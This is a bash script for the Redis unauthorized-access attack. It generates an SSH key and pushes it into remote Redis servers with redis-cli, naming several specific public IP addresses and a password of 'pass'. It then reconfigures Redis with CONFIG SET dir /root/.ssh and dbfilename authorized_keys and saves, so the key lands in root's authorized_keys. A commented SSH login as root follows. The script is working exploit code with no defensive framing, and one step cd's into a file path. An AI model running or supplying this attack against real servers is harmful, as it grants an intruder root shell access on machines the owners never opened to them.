#!/usr/bin/env bash
mkdir /root/.ssh
cd /root/.ssh

ssh-keygen -t rsa


#119.2.43.244:6379
#119.2.84.125
#119.2.84.122


(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n")>/opt/redis/src/1.txt

cd /opt/redis/src/1.txt
cat 1.txt | ./redis-cli -h 119.2.43.244   -x set crack
#cat 1.txt | ./redis-cli -h 47.52.164.135 -a pass  -x set crack
./redis-cli -h 47.52.164.135 -a pass
CONFIG GET dir
# 权限不够呢
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
CONFIG GET dbfilename
save
exit
#ssh -i id_rsa root@192.168.0.146



